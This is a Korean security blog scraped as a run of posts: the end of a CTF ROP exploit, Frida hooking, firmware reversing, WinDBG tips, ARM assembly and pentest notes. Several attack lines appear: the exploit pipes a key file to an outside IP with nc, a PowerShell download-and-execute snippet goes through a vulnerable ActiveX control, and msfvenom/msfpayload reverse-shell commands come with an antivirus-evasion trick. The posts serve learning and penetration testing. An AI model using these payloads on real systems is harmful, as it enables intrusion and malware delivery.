sleep(0.1)
r.send('y'*11)
data = r.recvuntil('!!')
print hexdump(data)
canary = u32('\x00'+data[0x27:0x2a])
print '[+] leaked canary : 0x%x' % canary

# Stage 1 : leak Exploit
print '\n\n\n ### Stage 1 : leak write addr... \n\n\n'
r2 = remote(SIP ,SPORT)
print r2.recvuntil('>')
r2.send('4')
print r2.recvuntil(' ')
sleep(0.1)
#payload_rop = p32(write_plt) + p32(pppr) + p32(0x4) + p32(write_got) + p32(0x4)
rop.write(0x4, e.got['write'], 0x4)
payload = 'y'*10 + p32(canary) + "a"*12 + rop.chain()
r2.send(payload)
sleep(1)
data2 = r2.recv(2048)
write = r2.recv(2048)
print hexdump(write)
print '[+] leaked write addr : 0x%x' % u32(write)
system = u32(write) - offset
print '[+] system addr : 0x%x' % system
e.symbols['system'] = system 

# Stage 2 : ROP Exploit
print '\n\n\n ### Stage 2 : ROP Exploit \n\n\n'
cmd = "cat key | nc 192.168.182.129 7777\x00"
r3 = remote(SIP ,SPORT)
print r3.recvuntil('>')
r3.send('4')
print r3.recvuntil(' ')
sleep(0.1)
#payload_rop = p32(read_plt) + p32(pppr) + p32(0x4) + p32(bss) + p32(len(cmd)) + p32(system) + "AAAA" + p32(bss)
rop2.read(0x4, bss, len(cmd))
rop2.system(bss)
payload = 'y'*10 + p32(canary) + "a"*12 + rop2.chain()
r3.send(payload)
sleep(1)
r3.send(cmd)
print r3.recv(1024)


기존에는 아래와 같이 p32 만 사용했었는데, 이번에 ROP 모듈을 살펴보니 훨씬 쉽게 작성이 가능했다.


payload_rop = p32(write_plt) + p32(pppr) + p32(0x4) + p32(write_got) + p32(0x4)

위 코드 대신에 아래와 같이 간단히 써주면 된다. 직접 주소를 구할 필요도 없다.

rop.write(0x4, e.got['write'], 0x4)
rop.chain()


nc 로 열고 exploit 을 실행하면 키값을 읽어오는 것을 확인할 수 있다.



끄읏

'CTF Writeup' 카테고리의 다른 글

0ctf 2018 - LoginMe Writeup  (0) 2018.04.10
codegate 2018 miro writeup  (0) 2018.02.06
codegate 2018 Impel Down writeup  (0) 2018.02.06
codegate 2018 - rbsql writeup  (0) 2018.02.06
Codegate 2017 - babypwn  (0) 2017.02.28

DBI - Frida 를 이용한 DBI

2016. 9. 7. 13:05


DBI


Dynamic Binary Instrumentation - 동적 바이너리 조사



 printf("test %s", buf); 등과 같이 특정 시점에서의 변수값 등을 확인하거나 프로그램의 행위를 조사하는 일을 Instrumentation 라고 부른다. 소스 코드 수준에서 하는 행위를 SI (Source Instrumentation), 바이너리 수준에서 하는 행위를 BI 라 한다. BI 중에서도 바이너리 실행중에 조사하는 것을 DBI 라 부른다. 조금 더 구체적으로 설명하면, 바이너리가 어떤 함수들을 호출하는지, 또 인자값은 무엇인지 등을 조사하는 것이라 보면 될 것 같다. 예를 들어, 악성코드 분석을 할때 각종 모니터링 툴들을 켜고 악성코드를 실행하여 행위를 분석하는 것 또한 동적 바이너리 조사의 일종이라고 볼 수 있다.



DBI 구현



 DBI 를 구현하는 방법에는 디버거 스크립트를 이용하는 방법, 후킹을 이용하는 방법, 코드 캐쉬와 CPU 가상화를 이용한 에뮬레이팅 등이 있다. 먼저 디버거를 이용하는 경우에는 디버거 스크립트와 조건부 브레이크포인트, 로그기능 등을 이용할 수 있다. 후킹을 이용하는 경우 주요 함수들( 네트워크 관련 함수들, File I/O 함수들, 문자열 처리 함수 등)에 후킹을 설정한 뒤 함수 후킹 시 인자값 등을 기록하거나 변조하는 행위들을 할 수 있다. 마지막으로 에뮬레이팅을 이용한 방법은 코드를 읽어서 가상 CPU 로 실행시키는 방법이다. 이전의 두가지 방법과는 다르게 투명성이 보장된다. 디버거, 후킹의 경우 이미 많이 알려져 있고 프로세스의 코드를 직접 변경하기 때문에 보호기법에 의해 쉽게 발견될 수 있다. 하지만 에뮬레이팅의 경우 코드를 복사해서 해석한뒤 실행하므로 일반적인 탐지기법들을 우회할 수 있다. 

   


DBI 로 할 수 있는 것들



    • Flow Analysis
    • Reversing Automation
    • Malware Analysis
    • Taint Analysis
    • Binary Visualization (ex: VERA)
    • Vulnerability(Exploit) Analysis


이외에도 기타 상상할 수 있는 다양한 자동 분석들이 가능하다. DBI 를 이용해서 안티디버깅 코드를 탐지하는 논문도 보았고, unpacking automation 논문도 본 적이 있다. 최근에는 DBI 를 Tracer 로 사용해서 로그를 남기고 그 정보들을 활용하여 Symbolic Execution, SMT Solver 등과 연계하여 취약점을 자동으로 찾거나(AEG, Automatic Exploit Generation) CTF 문제 등을 자동으로 풀어주는 등 Advanced 한 주제들도 지속적으로 연구되고 있다. 관심이 있다면 Triton, Angr 등의 Framework 를 살펴보면 된다. 








DBI Framework


 PIN & PINTOOL


intel 에서 관리하는 DBI 프레임워크로 기업이 관리하는 특성상 유지보수가 매우 잘 되고 있으며 다양한 플랫폼을 지원한다. 단점은 Intel 아키텍쳐(intel cpu)만 지원한다는 점과 C++ 로 작성해야 해서 매번 컴파일 하는 것이 조금 번거롭다는 것이다. 코드를 해석해서 가상 CPU 에서 실행시킨다. 실제로 원본 파일은 실행조차 되지 않는다. 때문에 투명성이 보장되지만 속도 이슈가 있다. 


(참고) http://hyunmini.tistory.com/87  



 FRIDA


FRIDA 는 scriptable 한 DBI 프레임워크로, http://www.frida.re 에서 무료로 다운로드 및 설치가 가능하다.(심지어 오픈소스이다. 근데 vala 라는 특이한 프로그래밍 언어로 작성되어 있다. 신기함...) FRIDA 는 기타 DBI 프레임워크와 약간 다른 구조를 가지고 있는데, DBI 를 위한 주 조작은 자바스크립트를 통해서 하며, C/S 구조로 동작하게 된다. 즉 처음에 바이너리에 프레임워크 라이브러리를 인젝션하여 파이프를 만들어 놓고, 그 파이프를 통해서 명령을 주고 받으면서 바이너리 조사를 할 수 있도록 되어 있다. 물론 C/S 를 사용하지 않고 그냥 PIN 처럼 내부적으로 동작하도록 할 수도 있다. 여러가지 언어를 이용하여 스크립트를 작성할 수 있으나(바이너리 조작은 자바스크립트로 해야 한다) Python 이 가장 단순하고 좋은 듯 하다. 하지만 제작자는 발표 등을 할 때 node.js 를 많이 사용하는 모습을 보여주고 있다. FRIDA 의 가장 큰 장점은 다양한 플랫폼을 지원한다는 것이다. PIN 과는 달리 ARM 아키텍쳐를 지원하므로 Android, IOS 앱에도 적용이 가능하다. 또한 64 bit 에서도 정상적으로 동작한다.(awesome!!)

또한, 컴파일이 필요없는 스크립트 언어로 작성이 가능하다는 것도 매력적이다. 코드 수정이 빈번한 경우 매번 컴파일을 하는 것만큼 귀찮은 것은 없기 때문이다.    




 ETC(DinamoRIO, Valgrind, DynInst 등)


아직 해보지 않아서 잘 모름. Valgrind 의 경우 실제로 취약점을 꽤 많이 찾아준 것으로 알고 있다.






DBI 예제 (with FRIDA)

 


FRIDA 기본 원리


FRIDA 는 C/S 의 구조를 지원하기 위해 윈도우의 경우 DLL 인젝션을, *닉스 계열의 경우 라이브러리 인젝션을 수행한다. 그 후 API 후킹(주소값만 지정하면 유저 custom 함수도 가능), stalking(이벤트 기반) 기능 등을 이용하여 DBI 가 가능하다. 이때, 실제 DBI 를 수행하는 코드는 자바스크립트를 이용하여 작성해 주어야 한다.




FRIDA 설치


c:\> pip install frida      // pip 는 python 모듈 관리를 위한 프로그램이며 이를 이용하여 쉽게 설치가 가능함




FRIDA 참고 자료 및 API


http://www.frida.re/docs/javascript-api        // 아직 관련 자료가 많지 않아 공식 문서를 보는 것이 가장 좋다.

https://github.com/OALabs/frida-extract      // frida 를 이용한 PE Extract 코드 (악성코드 등에서 PE 파일 추출) 





FRIDA 예제 코드


 아래 코드는 DBI 에 대한 개념이해를 위해 직접 발로 짠 코드이다. 간단하게 socket 관련 함수인 send() 함수를 후킹하여 버퍼를 기록하고, send() 함수를 호출한 코드 주소값들(BackTrace) 을 기록해주는 코드이다.


import sys
import pefile
import frida

def on_message(message, data):                 
    # c/s 구조인 경우 메시지를 보낼 수 있다. 메시지를 처리할 핸들러를 여기에 작성
    print "[%s] -> %s" % (message, data)

def main(target_process):
    session = frida.attach(target_process)       # attach => target 에 DLL 인젝션 수행
    script = session.create_script("""           # 자바스크립트 로드(실질적인 DBI 코드)

    var sendPtr = Module.findExportByName("ws2_32.dll", "send");        # send 함수 주소
    console.log('send address: ' + sendPtr.toString());
    console.log('>> Hooking ws2_32!send <<');
    Interceptor.attach(sendPtr, {               # send 함수에 후킹 설정(inline hooking 수행)
        onEnter: function (args) {              # 함수 실행 전 수행될 코드(인자값 기록, 변조 등 가능)
            console.log("buf : " + Memory.readCString(args[1]));    # 메모리에서 직접 read
            console.log("send called from:" + Thread.backtrace(this.context, Backtracer.ACCURATE).map(DebugSymbol.fromAddress).join("\\n") + " ");
        },
        onLeave: function (retval) {         # 함수 실행 후 수행될 코드(리턴값 기록, 조작 등 가능)
        }
    });
""") 
 
    script.on('message', on_message)       # 메시지 핸들러 설정
    script.load()                       
    raw_input('\n\n')
    session.detach()
 
if __name__ == '__main__':
    target_process = 'test.exe'
    main(target_process) 



 실행


   






FRIDA 예제 코드2 


이번에는 인자값 조작을 해 보자. send 로 전송되는 패킷 내용을 변조하는 코드이다. 위 코드와 거의 동일하며 함수 실행 전 인자값으로 넘어온 buffer 문자열을 조작한다.


import sys
import pefile
import frida

def on_message(message, data):
    print "[%s] -> %s" % (message, data)

def main(target_process):
    session = frida.attach(target_process)
    script = session.create_script("""

    var sendPtr = Module.findExportByName("ws2_32.dll", "send");
    console.log('send address: ' + sendPtr.toString());
    console.log('>> Hooking ws2_32!send <<');

    Interceptor.attach(sendPtr, {
        onEnter: function (args) {
            console.log("buf : " + Memory.readCString(args[1]));
            Memory.writeAnsiString(args[1],"HTTP/1.1 200 OK\\nServer: simple web server\\nContent-Type: text/html\\n\\nWelcome To My testServer !!                                         ");
            console.log("replaced buf : " + Memory.readCString(args[1]));            
        },
        onLeave: function (retval) {
        }
    });

""") 
 
    script.on('message', on_message)
    script.load()
    raw_input('\n\n')
    session.detach()
 
if __name__ == '__main__':
    target_process = 'vul_http_server.exe'
    main(target_process)



실행



'Reversing' 카테고리의 다른 글

WinDBG 고급 명령어들  (0) 2017.06.07
DBI - pin & pintool  (4) 2017.05.22
Embedded 기기 리버싱 - 펌웨어 리버싱  (1) 2016.07.14
Windbg 기본 - (3) 분석시 유용한 명령어들  (2) 2016.03.01
WinDBG 심볼 간편 설정  (0) 2016.03.01

kali 새 버전을 다운로드 했더니 한글도 안보이고 apt-get 도 안된다. 


물론 검색하니 금방 해결... 간단하게 정리






한글 문제 해결


  • 한글 글꼴이 포함되어 있지 않아 발생하는 문제.



 # apt-get install fonts-nanum*    // 나눔고딕 등 한글 폰트 설치



  해결!








apt-get 에러 발생 해결 방법


 

apt-get 명령은 파일들이 저장된 저장소( repo ) 가 필요한데 설치시 기본 설정된 기본 repo 가 자주 죽는다. -_-;; 그냥 외부 미러 사이트로 연결하면 잘 된다.



# vi /etc/apt/sources.list

deb http://mirror.nus.edu.sg/kali/kali kali-rolling main contrib non-free


# apt-get update         // 잘된다.


# apt-get install xxx    // 잘된다.


jquery 가 많이 사용되고 있는데, 이러한 경우 버튼 실행 시 실제로 수행되는 코드를 찾는 게 간혹 귀찮은 경우가 있다.


난독화가 되어 있다거나, 객체를 여러번 호출하는 경우 등..


이런 경우 아래와 같이 자바스크립트를 이용하면 쉽게 메소드 확인이 가능하다.


메소드명만 확인해도 어느정도 기능을 알 수 있기 때문에 도움이 된다.


또한 함수는 toString() 메소드를 이용하면 코드 내용까지 확인할 수 있다.






console.log(Object.getOwnPropertyNames(scard.storage));

-------------------------

set,get,remove,clearAll







console.log(scard.storage.get.toString())

--------------------------

function(g, h) {

    if (g == null || typeof g === "undefined") {

        scard.log.debug("[scard.storage] key가 올바르지 않습니다.")

    }

    if (e) {

        if (typeof h === "object") {

            e["obj_" + g] = encodeURIComponent(JSON.stringify(h));

            e.removeItem("nob_" + g)

        } else {

            e["nob_" + g] = encodeURIComponent(h);

            e.removeItem("obj_" + g)

        }

    } else {

        scard.log.debug("[scard.storage] 스토리지에 저장된 값이 없습니다.");

        return

    }

}






이를 이용하면 for 문을 써서 적당히 함수 하나 만들어서 객체의 메소드와 변수, 함수 코드 등을 출력할 수 있을 듯 하다.


python 을 이용하면 쉽게 랜덤한 값을 생성하여 brutefocing  에 활용할 수 있다.



예제 소스



 import itertools

 chars = 'abcdefghijklmnopqrstuvwxyz0123456789'

 start = 1 

 end = 5

 salt = 'test'


 for n in range(start, end):

    for s in itertools.product(chars, repeat=n):

        print salt+''.join(s)




hyunmini$ python crack.py | head -15

testa

testb

testc

testd

teste

testf

testg

testh

testi

testj

testk

testl

testm

testn

  ...



# python crack.py | john -stdin pwd

'Programming' 카테고리의 다른 글

Terminal Code Highlight - pygmentize, highlight  (0) 2017.03.14
py2exe 사용법  (0) 2014.03.04

php 의 연산자 취약점

2016. 7. 28. 09:18


php 에는 "==" 을 이용한 느슨한 비교와 "===" 를 이용한 엄격한 비교가 있다. "==" 의 경우 타입에 따라 "같다" 라는 기준을 모호하게 적용하고 있기 때문에


이로 인해 취약점이 발생하기도 한다. 자세한 것은 아래 표를 참고하자.


http://php.net/manual/kr/types.comparisons.php



 예를 들어 비밀번호 비교 구문 등에서 "==" 를 사용하면 "패스워드"=0 등과 같이 우회될 수도 있다는 것.


# 펌웨어 획득


- 벤더 홈페이지 다운

- 플래시메모리 덤프



# 펌웨어 분석 툴


- binwalk 


root@kali:~/Desktop# binwalk -h


 Binwalk v1.2.2-1

 Craig Heffner, http://www.devttys0.com


 Usage: binwalk [OPTIONS] [FILE1] [FILE2] [FILE3] ...


 Signature Analysis:

-B, --binwalk                 Perform a file signature scan (default)

-R, --raw-bytes=<string>      Search for a custom signature

-A, --opcodes                 Scan for executable code signatures

-C, --cast                    Cast file contents as various data types

-m, --magic=<file>            Specify an alternate magic file to use


                              ...









1) 펌웨어 시그니처 분석



root@kali:~/Desktop# binwalk n604s_kr_9_942.bin


DECIMAL   HEX       DESCRIPTION

-------------------------------------------------------------------------------------------------------------------

46692     0xB664     LZMA compressed data, properties: 0x5D, dictionary size: 16777216 bytes, uncompressed size: 209044 bytes

131072     0x20000   TRX firmware header, little endian, header size: 28 bytes, image size: 3788800 bytes, CRC32: 0x75B1E9D4 flags: 0x0, version: 1

131100     0x2001C   LZMA compressed data, properties: 0x5D, dictionary size: 65536 bytes, uncompressed size: 4378624 bytes

1565732   0x17E424   CramFS filesystem, little endian size 2351104 version #2 sorted_dirs CRC 0x9ee064f0, edition 0, 1954 blocks, 376 files










2) 펌웨어 아키텍쳐 분석



root@kali:~/Desktop# binwalk -A n604s_kr_9_942.bin  | head -10


DECIMAL   HEX       DESCRIPTION

-------------------------------------------------------------------------------------------------------------------

9280       0x2440     MIPSEL instructions, function epilogue

9376       0x24A0     MIPSEL instructions, function epilogue

9992       0x2708     MIPSEL instructions, function prologue

10028     0x272C     MIPSEL instructions, function epilogue

10276     0x2824     MIPSEL instructions, function prologue

10280     0x2828     MIPSEL instructions, function epilogue

10288     0x2830     MIPSEL instructions, function prologue











3) 펌웨어 엔트로피 분석


root@kali:~/Desktop# binwalk -E n604s_kr_9_942.bin 


    










4) 펌웨어 파일시스템 추출 



root@kali:~/Desktop# dd if=./n604s_kr_8_96.bin of=n604s_fs.bin bs=1 skip=1565732

2124820+0 records in

2124820+0 records out

2124820 bytes (2.1 MB) copied, 2.60455 s, 816 kB/s



root@kali:~/Desktop# file n604s_fs.bin

n604s_fs.bin: Linux Compressed ROM File System data, little endian size 2121728 version #2 sorted_dirs CRC 0x9094e641, edition 0, 1646 blocks, 353 files




5) 펌웨어 파일시스템 마운트


root@kali:~/Desktop# mkdir /n604fs


root@kali:~/Desktop# mount -t cramfs ./n604s_fs.bin /n604fs/

mount: warning: /n604fs/ seems to be mounted read-only.


root@kali:~/Desktop# cd /n604fs/


root@kali:/n604fs# ls

bin  cramfs  default  dev  etc  home  lib  linuxrc  ndbin  plugin  proc  save  sbin  tmp  usr  var




6) 파일시스템 분석 후 fmk 를 이용하여 바이너리 수정/파일시스템 추가 등 조작 후 build 





7) 만들어진 new-firmware.bin 이미지를 업데이트(관리자 페이지 수동 업데이트)





8) 간혹 업데이트 시 에러가 발생하는 경우 부트코드에서 검증을 수행하는 것

 - 간단한 체크섬 (우회 쉬움)

 - 암호화 (우회 어려움)




** 맥에서 바로 UART 시리얼 통신 확인하기


     screen  /dev/tty.usbmodemfa2321 115200








# 부트코드 리버싱

=====================


- 펌웨어에서 부트코드 분리 

  # dd if=~~  of=~~  skip=~~  count=~~ bs=1


- 부트코드 아키텍쳐, load address, size 지정

  => file 명령, binwalk 결과값 이용

 

- load address 찾는 법

  => 부트코드이므로 bss 섹션 초기화 과정이 있을 것 

       => li(or la), $0x80001000  등의 코드가 2번 연속으로 나오고 move $a1, $zero 루프 등으로 초기화 하는 부분을 찾음


  => 부트코드 |  bss 섹션       과 같은 구조이므로 bss 섹션 시작주소에서 부트코드 사이즈를 빼 주면 시작주소가 나옴

      => bss 섹션 시작주소 - 부트코드 사이즈 = 부트코드 시작주소


- 부트중 펌웨어 해쉬값 검증 코드 등을 찾아서 패치 









'Reversing' 카테고리의 다른 글

DBI - pin & pintool  (4) 2017.05.22
DBI - Frida 를 이용한 DBI  (3) 2016.09.07
Windbg 기본 - (3) 분석시 유용한 명령어들  (2) 2016.03.01
WinDBG 심볼 간편 설정  (0) 2016.03.01
Windows Kernel Reversing - Object 분석  (0) 2015.01.28


파일 시스템에는 다양한 종류가 있다. 리눅스 계열의 EXT, 윈도우 계열의 FAT, NTFS, 유닉스의 UFS 등 운영체제별로 다양하다.


이번 글에서는 FAT32 에 대하여 간단히 알아 보도록 하자.




  • FAT32 특징 - File Allocation Table
  -  최대 용량 : 2 TB
  -  파일의 최대 크기 : 4GB
  -  디렉터리당 최대 파일 수 : 65,535






http://www.disk-editor.org/



(작성중)


분석시 유용한 명령어 추가 정리.




# uf    //  함수 디스어셈블, 함수 한번에 전체 디스어셈블, 분기문 보기좋게 보여줌


0:014> uf mshtml!CUndoPropChange::~CUndoPropChange

mshtml!CUndoUnit::~CUndoUnit:

678dc2fd 8b4008          mov     eax,dword ptr [eax+8]

678dc300 85c0            test    eax,eax

678dc302 0f8580a92300    jne     mshtml!CUndoUnit::~CUndoUnit+0x7 (67b16c88)


mshtml!CUndoUnit::~CUndoUnit+0x16:

678dc308 c3              ret


mshtml!CUndoUnit::~CUndoUnit+0x7:

67b16c88 50              push    eax

67b16c89 6a00            push    0

67b16c8b ff351884dc67    push    dword ptr [mshtml!g_hProcessHeap (67dc8418)]

67b16c91 ff15fc128967    call    dword ptr [mshtml!_imp__HeapFree (678912fc)]

67b16c97 e96c56dcff      jmp     mshtml!CUndoUnit::~CUndoUnit+0x16 (678dc308)


mshtml!CUndoPropChange::~CUndoPropChange:

67c03c81 8bff            mov     edi,edi

67c03c83 56              push    esi

67c03c84 8bf0            mov     esi,eax

67c03c86 57              push    edi





# uf /c     //  함수 호출 관계만 보여줌

0:014> uf /c mshtml!CUndoPropChange::~CUndoPropChange

mshtml!CUndoPropChange::~CUndoPropChange (67c03c81)

  mshtml!CUndoUnit::~CUndoUnit+0x10 (67b16c91):

    call to mshtml!_imp__HeapFree (678912fc)

  mshtml!CUndoPropChange::~CUndoPropChange+0x14 (67c03c95):

    unresolvable call: call    dword ptr [ecx+8]

  mshtml!CUndoPropChange::~CUndoPropChange+0x1a (67c03c9b):

    call to mshtml!VariantClear (67a4b90d)



# x      //  * 등을 사용하여 심볼 정보 확인, 클래스 정보 확인 등에 유용함


0:014> x mshtml!CUndoPropChange::~CUndoProp*    //  뒷부분을 정확히 모를때

67c03c81          mshtml!CUndoPropChange::~CUndoPropChange (<no parameter info>)


0:014> x mshtml!CUndoPropChange::*          // 해당 클래스 메소드 확인

67a5156c          mshtml!CUndoPropChange::`vftable' = <no type information>

67c03c81          mshtml!CUndoPropChange::~CUndoPropChange (<no parameter info>)

67c03c22          mshtml!CUndoPropChange::CUndoPropChange (<no parameter info>)

67c03c51          mshtml!CUndoPropChange::`vector deleting destructor' (<no parameter info>)

67c03cdf          mshtml!CUndoPropChange::PrivateDo (<no parameter info>)

67c03cae          mshtml!CUndoPropChange::Init (<no parameter info>)

67c03c51          mshtml!CUndoPropChange::`scalar deleting destructor' (<no parameter info>)



# dds      //  4바이트씩 정리해서 심볼정보를 보여줌(문자열 포함) // 스택정보 파악 시 유용함


0:014> dds esp

05afd530  05774e50

05afd534  00477e58

05afd538  0048cb80

05afd53c  67c03c60 mshtml!CUndoAttrValueSimpleChange::`scalar deleting destructor'+0xf

05afd540  05afd57c

05afd544  05afd550

05afd548  678dc23d mshtml!CUndoUnitBase::Release+0x1e

05afd54c  00000001

05afd550  05afd58c

05afd554  67a6cfab mshtml!CImplPtrAry::ReleaseAll+0x21

05afd558  0048cb80

05afd55c  0048cb80

05afd560  06f3d030

05afd564  00000000

05afd568  678dc296 mshtml!CParentUnitBase::GetUnitType+0x82

05afd56c  06f3d030

05afd570  06f3d02c

05afd574  00000000

05afd578  05afd594

05afd57c  6789a594 mshtml!CStyleSheet::CAryFontFaces::`vftable'

05afd580  00000004




 



WinDBG 심볼 간편 설정

2016. 3. 1. 21:46


WinDBG 심볼 간편 설정




WinDBG 를 사용하는 경우 심볼 설정을 해 주어야 윈도우 관련 DLL 심볼을 보며 편하게 리버싱을 할 수 있다. 여러가지 방법이 있으나 매일


까먹어서 정리해 둔다.





  • WinDBG 심볼 패스 설정하기
  - [File] - [Symbol File Path...] - 아래 주소 입력

  SRV*c:\symbols*http://msdl.microsoft.com/download/symbols


   - 0:000> .reload



  • 심볼 패스 쉽게 설정하기
  - symfix 명령어 이용하기 (폴더만 지정해주면 알아서 다운로드함)
 0:000>  .symfix  c:\symbols
 
0:000>  .reload  





  • 심볼 패스 추가하기 
  - sympath 명령 뒤에 + 를 붙여서 자신의 프로그램 심볼이 있는 폴더를 추가 해준다.

 0:000>  .sympath+  c:\mysymbols
 
0:000>  .reload  



이상 끝!


모의해킹에서의 파워쉘 활용






이름은 거창하지만 두가지만 정리해 둔다. 윈도우7 부터 기본적으로 파워쉘을 지원하므로 상당히 유용하다. 


사실 별로 깊이 공부는 하지 않았지만, 모의해킹 중 APT 시나리오(클라이언트 공격부터 시작..)를 위한 페이로드 작성에 매우 유용하기에 


필요한 부분들만 정리를 했었다.




  • 악성코드 Download&Execution

 $web = New-Object System.Net.WebClient
 $web.DownloadFile("http://www.악성코드.com/hacked.exe","C:\hacked.exe") & 'c:\hacked.exe' 



달랑 두 줄만으로 가능하다. 명령 실행이 가능한 경우 사용이 가능하다.


대표적인 예로는 ActiveX 의 취약한 메소드를 찾아서 임의의 명령을 실행할 수 있을 때가 있다. 아래와 같이 스크립트를 이용해서


악성코드를 실행시킬 수 있다.



  <script>
  cmd = "powershell -command \"&{ 

   $web = New-Object System.Net.WebClient;$web.DownloadFile('http://www.악성코드.com/hacked.exe','./hacked.exe');   // 다운로드

   & ./hacked.exe    // 실행

  }\"";
  vulActiveX.Launcher('/c ' + cmd, '../../../../../../windows/system32/cmd.exe')
  </script> 




  • msfpayload 로 powershell 형식 페이로드 작성하기

  # msfvenom -p windows/shell/reverse_tcp -f psh lhost=10.231.5.115 lport=4444 



여기까지 초간단 정리~!

msfpayload 백신 탐지 우회

2016. 2. 25. 16:42


msfpayload 백신우회



 모의해킹을 하다보면 간혹 백신을 우회해야 하는 경우가 있어서 정리해 둔다. 


  • msfpayload 
- 쉘코드를 쉽게 생성해주는 도구로, metasploit framework 에 포함되어 있(었)다. 

  • msfencode 
- 쉘코드를 인코딩 해주는 도구로, metasploit framework 에 포함되어 있(었)다. 

 최근에 msfpayload 와 msfencode 가 합쳐진 msfvenom 으로 업데이트 되었다.
 (기존에는 세가지 도구가 함께 배포되었는데 현재 버전에서는 msfvenom 만 남았다)

  • msfpayload 백신우회


 shikata_ga_nai 인코더를 여러번 거쳐도 몇몇 백신은 잘 탐지하는데, 몇번의 테스트 결과 metasploit 에서 exe 파일을 생성할 때


 사용하는 템플릿 파일 자체를 탐지하는 것으로 추측된다. 결국 -x 옵션으로 템플릿만 바꿔주면 바로 우회가 가능했다.


 

  # msfpayload windows/meterpreter/reverse_tcp  EXITFUNC=process LPORT=4444 LHOST=10.231.5.1154 R   | 

   msfencode -a x86 -e x86/shikata_ga_nai -c 2 -x ~/Desktop/tem2.exe -t exe -o ~/Desktop/payload2.exe





ndk-build 명령을 실행하면 기본적으로 arm 모드로 컴파일이 되고, Thumb 모드로 컴파일 하고 싶으면 


아래와 같이 Android.mk 파일에 LOCAL_ARM_MODE 로 지정해 주면 된다. arm / thumb 로 지정.





hyunminiuiMBP2:jni hyunmini$ tree

.

├── Android.mk

└── test.c




hyunminiuiMBP2:jni hyunmini$ cat Android.mk 


LOCAL_PATH:=$(call my-dir)

include $(CLEAR_VARS)


LOCAL_MODULE:=test

LOCAL_SRC_FILES:=test.c

LOCAL_ARM_MODE:=thumb


include $(BUILD_EXECUTABLE)





'Linux System Hacking' 카테고리의 다른 글

ARM Assembly 정리 - ARM 기본 개념  (0) 2016.02.22
LD_PRELOAD 를 이용한 Hooking  (0) 2014.05.03



ARM Assembly










  • ARM(Advanced Risc Machine)

x86 으로 대표되는 CISC 라인과는 반대인 최근에는 모바일이 대세가 되면서 ARM(RISC) 프로세서도 많이 사용되고 있다. 모바일 점검을 하다 보면 간혹 ARM 리버싱을 하게 되는 일이 있기도 하지만 이미 몇년 전 부터 CTF 에서도 ARM플랫폼 문제가 종종 나오고 있기 때문에 ARM 아키텍쳐에 대해서 정리해 보려 한다.


  • Thumb 모드 / ARM 모드
  ARM 과 x86 의 가장 큰 차이점은 Thumb 모드라는 것이 있다는 것이다. ARM 자체가 모바일/임베디드 등 PC 와는 다른 환경에 맞춰서 설계했기 때문에 저전력이 핵심 기술 중 한가지였고, 또 한가지로 처음 설계될 당시 임베디드 계열에서는 32비트가 아닌 16비트가 대세였다고 한다. 이러한 여러가지 상황에 맞추기 위해 2가지 모드를 지원하게 되었고, 리버싱을 할 때에도 이 부분을 고려해야 한다. 쉘코드를 작성할 때에도 당연히 바이트 수를 줄이기 위해 Thumb 모드로 작성하는 것이 좋다. 

  • ARM 모드
-   레지스터 : R0 ~ R15 (16개)
-   기계어코드 길이 : 32비트 (4바이트)

  • Thumb 모드 

-   레지스터 : R0 ~ R7 (8개)
-   기계어코드 길이 : 16비트 (2바이트)

  • Thumb <-> ARM 모드 전환

-    BLX / BX 등 X 로 끝나는 분기문 명령으로 모드 전환 




  • 레지스터
레지스터는 x86 과 상당한 차이점이 있다. 일단 범용 레지스터의 수가 더 많으며, x86 에는 존재하지 않는 Link Register 가 존재한다.  

  •   R0 ~ R12   :   범용 레지스터, 인자값 및 임시 계산 저장소 등
  •   R13(SP)     :   Stack Pointer, x86 의 ESP 와 비슷한 역할 수행
  •   R14(LR)     :   Link Register, 함수 호출 전 LR 에 리턴 주소를 저장하고 점프함(함수 호출 시 리턴주소 스택 활용 X)
  •   PC              :   x86 에서의  EIP 레지스터와 동일한 역할 수행. 다음에 실행할 코드의 주소 저장



  • Calling Convention(함수 호출 규약)
x86 에서는 cdecl, fastcall, stdcall 등의 다양한 함수 호출규약이 존재했으나, 
  •   R0 ~ R12   :   범용 레지스터, 인자값 및 임시 계산 저장소 등
  •   R13(SP)     :   Stack Pointer, x86 의 ESP 와 비슷한 역할 수행



  • 실습환경
  • NDK 10   :   Android NDK Version.10
  • IDA Pro   :   디스어셈블 및 분석
  • GDB        :   디버깅
  • ARM 장비:  안드로이드 스마트폰(베가 아이언), OS 버전 4.4   


  • 리버싱 기본
  • 예제 소스  :   test.c       //     기본 api 들을 호출하는 간단한 프로그램    


  • 컴파일 :  디버그 정보를 포함하여 컴파일(기본적으로 ndk-build 는 strip 바이너리를 생성함)

  • # ndk-build NDK_DEBUG=1 
  • .

    ├── jni

    │   ├── Android.mk

    │   └── test.c

    ├── libs

    │   └── armeabi

    │       ├── gdb.setup

    │       ├── gdbserver

    │       └── test    //  stripped binary

    └── obj

        └── local

            └── armeabi

                ├── objs

                │   └── test

                │       ├── test.o

                │       └── test.o.d

                ├── objs-debug

                │   └── test

                │       ├── test.o

                │       └── test.o.d

                └── test     //   strip 되기 전의 디버깅 심볼 포함 파일,  이 파일로 디버깅 진행 



  • IDA Pro 디스어셈블링(ARM 모드로 컴파일)




  • 상세분석

;int __cdecl main(int argc, const char  **argv,  const char **envp)

EXPORT main

main ; DATA XREF: _start+4Co .got:main_ptro


f = -0x70

test = -0x6C

var_8 = -8


STMFD SP!, {R11,LR}                  //  R11 과 LR 을 스택에 저장하고 SP 8 감소

ADD R11, SP, #4                             //  SP+4 를 한 뒤 R11 에 저장

SUB SP, SP, #0x70                        //  SP 70 감소                 

LDR R2, =_GLOBAL_OFFSET_TABLE_ ; PIC mode     // GOT 주소를 R2 에 저장

NOP                                              // 아무일도 하지 않음

LDR R3, =(__stack_chk_guard_ptr - 0xAFBC)  // 스택가드 offset 을 R3에 저장

LDR R3, [R2,R3] ; __stack_chk_guard   // GOT+스택가드offset 을 R3 에 저장

LDR R3, [R3]             // R3 주소의 값을 R3 에 저장(스택쿠키)

STR R3, [R11,#var_8]    // R3 값(스택쿠키)을  R11 + var_8 에 저장

SUB R2, R11, #-test      // test 변수

MOV  R3, #0x64

MOV R0, R2 ; s

MOV  R1, #0 ; c

MOV  R2, R3 ; n

BL memset

MOV R3, #0

STR R3, [R11,#f]


loc_8658 ; CODE XREF: main+A0j

SUB R3, R11, #-test

MOV  R0, R3 ; name

MOV R1, #0x28 ; len

BL gethostname

SUB R3, R11, #-test

MOV  R0, R3 ; s

BL puts

LDR R3, =(aTest_txt - 0x8680)

ADD R3, PC, R3 ; "test.txt"

